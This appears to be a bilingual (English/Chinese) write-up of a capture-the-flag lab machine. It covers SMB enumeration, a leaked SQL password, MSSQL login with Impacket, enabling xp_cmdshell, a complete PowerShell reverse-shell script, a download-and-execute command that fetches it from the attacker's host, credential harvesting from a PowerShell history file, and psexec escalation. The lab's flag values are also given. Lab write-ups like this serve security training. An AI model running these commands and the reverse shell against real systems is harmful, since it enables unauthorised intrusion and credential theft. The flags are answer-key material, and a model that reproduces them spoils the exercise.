Task 1
Which TCP port is hosting a database server?
(哪个端口开放了数据库服务)
$ nmap 10.129.95.187 -sC --min-rate 1000
1433
Task 2
What is the name of the non-Administrative share available over SMB?
(哪个非管理共享提供了SMB?)
$ smbclient -N -L 10.129.95.187
backups
Task 3
What is the password identified in the file on the SMB share?
(在 SMB 共享中识别的文件中的密码是什么？)
$ smbclient -N //10.129.95.187/backups
>dir
>get prod.dtsConfig
M3g4c0rp123
Task 4
What script from Impacket collection can be used in order to establish an authenticated connection to a Microsoft SQL Server?
(从 Impacket 集合中的哪个脚本可以用于与 Microsoft SQL Server 建立经过身份验证的连接？)
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
pip3 install .
# OR:
sudo python3 setup.py install
# In case you are missing some modules:
pip3 install -r requirements.txt
mssqlclient.py
Task 5
What extended stored procedure of Microsoft SQL Server can be used in order to spawn a Windows command shell?
(Microsoft SQL Server 的哪个扩展存储过程可以用于生成一个 Windows 命令 shell？)
python3 mssqlclient.py ARCHETYPE/sql_svc@10.129.95.187 -windows-auth
xp_cmdshell
Task 6
What script can be used in order to search possible paths to escalate privileges on Windows hosts?
(用于搜索可能的路径以提升 Windows 主机权限的脚本是什么)
winpeas
Task 7
What file contains the administrator’s password?
(什么文件中包含的管理员密码？)
使用SELECT is_srvrolemember('sysadmin'); 用来检查当前用户是否属于 sysadmin 角色，即系统管理员角色。如果用户是 sysadmin 角色的成员，该命令将返回 1；否则，返回 0
没有启用xp_cmdshell
EXEC sp_configure 'Show Advanced Options', 1;
允许修改高级配置选项
RECONFIGURE;
确认操作
sp_configure;
查看sp_configure配置
EXEC sp_configure 'xp_cmdshell', 1;
使用sp_configure系存储过程，启用xp_cmdshell参数，来允许SQL Server调用操作系统命令
RECONFIGURE;
确认操作
>xp_cmdshell "powershell -c whoami";
$ vim reverse.txt
$LHOST = "10.10.16.8"; $LPORT = 10032; $TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT); $NetworkStream = $TCPClient.GetStream(); $StreamReader = New-Object IO.StreamReader($NetworkStream); $StreamWriter = New-Object IO.StreamWriter($NetworkStream); $StreamWriter.AutoFlush = $true; $Buffer = New-Object System.Byte[] 1024; while ($TCPClient.Connected) { while ($NetworkStream.DataAvailable) { $RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length); $Code = ([text.encoding]::UTF8).GetString($Buffer, 0, $RawData -1) }; if ($TCPClient.Connected -and $Code.Length -gt 1) { $Output = try { Invoke-Expression ($Code) 2>&1 } catch { $_ }; $StreamWriter.Write("$Output`n"); $Code = $null } }; $TCPClient.Close(); $NetworkStream.Close(); $StreamReader.Close(); $StreamWriter.Close()
$ 开启8000端口让服务器下载程序
> xp_cmdshell "powershell -c (Invoke-Expression (curl http://10.10.16.8:8000/reverse.txt -UseBasicParsing))";
服务端powershell反弹shell
$ nc -lvp 10032
获得了一个低权限用户
type c:\\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
查看历史命令
ConsoleHost_history.txt
User Flag
powershell 命令快速获取桌面文件命令
Ps>Get-ChildItem -Path "C:\Users\sql_svc\Desktop"
cmd
> dir "C:\Users\sql_svc\Desktop"
3e7b102e78218e935bf3f4951fec21a3
Root Flag
b91ccec3305e98240082d4474b848528
解题过程
1.通过smb共享文件获取到敏感文件
2.利用mssqlclient来操作Microsoft SQL进行xp_cmdshell命令执行
3.获取一个普通用户权限,读取Desktop目录下user.txt。这里再利用(c:\\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt)存放的历史命令,成功获取到管理员smb泄露的权限密码
4.将获取到的smb管理员密码,通过psexec进行命令执行,成功提权,读取Desktop下的root.txt
